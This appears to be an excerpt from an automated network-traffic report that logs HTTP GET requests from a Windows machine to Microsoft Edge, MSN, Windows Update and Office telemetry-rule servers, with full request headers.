Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732604626695&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=82053baee49f42369b25652140a192d8&activityId=82053baee49f42369b25652140a192d8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C940566C29C74FB7AB40D09C74BBC167&MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=dab8fe66da2f4dbbfeda0840871826f6 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733209419&P2=404&P3=2&P4=nx13lQNwdYVSaPX7i2M%2f6YfJQd3rs5kG%2fvCWOcwQ20JKCkHXD6%2fCDL9K6kv%2fK4vJDwCSneRb5okaybViDVusZg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: CGM/JxH+32tdvvJ/9Mi6pVSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=52sUK2MZueOEy4P&MD=OuhoZaBu HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
